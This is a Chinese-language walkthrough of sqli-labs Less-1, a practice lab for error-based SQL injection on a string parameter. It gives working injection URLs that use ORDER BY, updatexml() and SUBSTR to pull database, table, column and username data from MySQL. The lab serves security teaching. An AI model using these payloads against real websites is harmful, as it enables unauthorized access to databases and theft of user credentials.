sqli-labs之Less-1讲解(报错型注入-字符串类型)

1. 打开之后让输入ID的,随便构造一个语句http://192.168.80.134/sql/Less-1/index.php?id=1,返回是正常的,再次构造语句index.php?id=1'报错了,说明SQL语句在查询的时候把'也带入了查询语句,并且错误提示如下,可以看出是报错型注入
sqli-labs之LESS-1讲解(报错型注入)

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 

2. 继续构造语句:index.php?id=1' --+返回正常,说明我们的SQL语句构造成功,--+在MySQL语句中是注释符号,这句话相当于前面的'将前面的语句闭合了,而--+又把后面原本有的'闭合符号给注释掉了,所以语句执行正确。建议大家在学习的时候观看源码,其背后执行的SQL语句是:

select * from users where id = '    1'    --+     '

我们只需要把我们想要执行的SQL语句插入在--+之前

3. 查询字段

index.php?id=1' order by 3--+

不断更换order by 后面的数字,通过这里来判断字段数,最终发现存在3个字段

4. 爆数据库

index.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+

成功得到数据库名字为security其中0x7e是16进制编码的~符号,并无特殊意义。
sqli-labs之LESS-1讲解(报错型注入)

5. 爆表

index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),0x7e),3) --+

其中security是我们上次爆出来的数据库名,这里可以看出成功爆出表名了。
sqli-labs之LESS-1讲解(报错型注入)

6. 爆字段

index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name ='users'),0x7e),3) --+

我们这里爆的是users表的字段,可以看到有id,username,password如下字段
sqli-labs之LESS-1讲解(报错型注入)

7. 爆数据

index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

其中username就是我们想要爆出来的数据的字段,可以看到已经爆出来了如下用户名称。
sqli-labs之LESS-1讲解(报错型注入)
但是很明显用户名没有完全报出来,这是因为updatexml()这个是有长度限制的最长32位,这时候就该我们的另一个主角上场了,就是 SUBSTR() 截断函数,语法如下:

SUBSTR(str,pos,len)
# 就是从 str 字符串中,从 pos 位置开始,截取 len 个长度的字符

所以我们可以构造如下语句:

index.php?id=1' union select updatexml(1,concat(0x7e,SUBSTR((select group_concat(username) from users),1,24),0x7e),1) --+

上面这个语句就是从 1 开始,截断 24 个字符。

发表评论

电子邮件地址不会被公开。必填项已用 * 标注